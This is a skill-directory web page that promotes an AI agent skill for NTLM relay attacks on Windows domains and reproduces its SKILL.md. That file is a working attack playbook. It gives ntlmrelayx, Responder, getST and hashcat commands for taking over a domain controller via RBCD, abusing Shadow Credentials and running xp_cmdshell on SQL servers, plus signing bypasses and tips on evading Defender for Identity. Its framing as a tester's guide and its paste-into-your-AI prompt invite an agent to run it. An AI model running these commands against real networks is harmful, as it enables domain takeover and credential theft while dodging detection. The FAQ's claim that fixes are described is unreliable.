Skip to content
Skillpedia
Security6.5k Β· #13945

ad-ntlm-relay

What it does

This skill is a detailed guide to NTLM relay, a Windows login weakness where a captured login is passed on to another service. It is for security testers and auditors who need to understand the risk in a domain.

When to use it

  • βœ“When a security tester asks which services in an authorized domain could be affected by NTLM relay.
  • βœ“When the agent needs to check whether SMB signing is turned off on workstations.
  • βœ“When a report must explain the risk and the fixes for NTLM relay in plain words.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œCan you check which machines on our authorized network have SMB signing turned off, so we know where NTLM relay is possible?”

5 new skills a week. 1 minute to read.

How it works

The agent builds a list of target machines with SMB signing off, compares the services that could accept a relayed login, and reports the findings.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

NTLM Relay Deep Dive

You've got NTLM authentication arriving at attacker (via Responder, ARP poison, coercion, mDNS, WPAD). Relay it to a target that grants you something useful.

Target selection matrix

Target protocol Outcome Requires
LDAP / LDAPS to a DC Add user to Domain Admins, RBCD, modify ACL Victim is local admin OR LDAPS allows signing
SMB to a workstation Code exec on that workstation SMB signing OFF on target (servers often have it ON)
HTTP /certsrv/ (ADCS) Cert for victim β€” auth as them ADCS Web Enrollment enabled
MSSQL Database access; xp_cmdshell if linked Victim has DB privs
IMAP (Exchange) Mailbox access Victim has mailbox
HTTP /EWS (Exchange) Mailbox + autodiscover EWS reachable
LDAPS to DC for shadow creds Set msDS-KeyCredentialLink on a victim LDAPS + WriteProperty

SMB signing β€” the key constraint

Target Default SMB signing
DC REQUIRED (signing on, must verify) β€” can't relay SMB to DC
Domain workstations NOT REQUIRED (off by default) β€” can relay
File servers usually REQUIRED
Linux Samba varies

Check with crackmapexec smb <target_subnet> --gen-relay-list relays.txt β€” gives you the list of targets where SMB signing is OFF.

Most useful chains

Coerce β†’ relay to LDAP β†’ RBCD attack

# Listener
sudo impacket-ntlmrelayx -t ldap://dc.target.local --delegate-access --escalate-user 'lowpriv'
# Now coerce DC$ (see ad-coercer skill)
# ntlmrelayx auto-adds attacker computer to msDS-AllowedToActOnBehalfOfOtherIdentity
# Then S4U2Proxy yourself onto the DC:
impacket-getST -spn 'cifs/dc.target.local' -impersonate Administrator 'target.local/lowpriv:pass'
# β†’ TGS as Administrator for cifs on the DC β€” full takeover

Coerce β†’ relay to ADCS β†’ DA cert

See ad-certipy-esc-chain skill β€” chain ends with certipy auth β†’ krbtgt.

Responder β†’ relay to LDAP for Shadow Credentials

sudo responder -I eth0 -wd
# Catch broadcast LLMNR / NBT-NS / mDNS
# Then:
sudo impacket-ntlmrelayx -t ldaps://dc.target.local --shadow-credentials --shadow-target victim
# Adds a KeyCredentialLink to 'victim'; then auth as victim via certipy

Relay to MSSQL β€” pivot via xp_cmdshell

sudo impacket-ntlmrelayx -t mssql://sqlserver.target.local -smb2support
# When relayed:
[ntlmrelayx] EXEC AS LOGIN sa: SUCCEED
[ntlmrelayx] Enabling xp_cmdshell on target
[ntlmrelayx] xp_cmdshell SUCCEED: id of nt service\mssqlserver

Multi-relay β€” fan-out one auth to many targets

# -tf file_of_targets: relay to each in turn
sudo impacket-ntlmrelayx -tf relays.txt -smb2support
# crackmapexec --gen-relay-list builds the relays.txt file (SMB-signing-OFF hosts)

When to crack instead of relay

If the auth is NetNTLMv2 (came from SMB1/SMB2, HTTP, etc.):

# Save the captured hash
# Responder writes to /usr/share/responder/logs/Responder-Session.log
hashcat -m 5600 hash.txt rockyou.txt -r best64.rule
# m=5600 β†’ NetNTLMv2 cracking; works well on rockyou+rules

Relay is BETTER when:

  • You don't have time to crack (operationally bounded engagement)
  • The hash is from a service account / computer account (uncrackable)
  • The target requires the actual session (e.g., LDAPS, signed SMB)

Crack is BETTER when:

  • You want offline persistence (don't need to be on the wire)
  • The credentials are reusable across services
  • Auth was from a normal user with a weak password

Signing-required mitigations and bypasses

Defense Bypass
SMB signing required on target Relay to NON-SMB target (LDAP, HTTP, MSSQL)
LDAP channel binding Relay to LDAPS instead (different binding rules)
Extended Protection for Authentication (EPA) Relay to a service that doesn't enforce EPA (older Exchange, etc.)
MS16-075 ("hot potato" SMB→SMB block) Cross-protocol relay works around it

OPSEC

  • Coercion is the LOUDEST step. Use unauthenticated PetitPotam variants where possible.
  • LDAP relay creates events 4662 (object access) and 5136 (directory modify) on the DC β€” distinctive when DC$ modifies its own attributes via NTLM auth.
  • MDI (Defender for Identity) flags NTLM relay via the source-vs-destination IP mismatch heuristic. Use a network position physically close to the victim to minimize the geographical jump.

References

  • impacket ntlmrelayx β€” github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
  • dirk
FAQ

What is SMB signing?

It is a setting that checks the integrity of file-sharing traffic. When it is off, some relayed logins can be accepted.

Why can domain controllers not be relayed to over SMB?

The skill says domain controllers normally require SMB signing, which blocks that route.

Does the skill describe fixes?

It mentions turning on signing and restricting relay targets, and the system owners choose which fix to use.

Details

Original description by the author

NTLM relay deep-dive β€” `ntlmrelayx` configuration matrix (SMB, LDAP, LDAPS, HTTP, RPC, IMAP, MSSQL), SMB-signing bypass, target selection (DC for DCSync, ADCS for cert, LAPS reader for cleartext), session relay vs cracking trade-off, multi-relay (forward auth from one victim to many).

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#13945
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills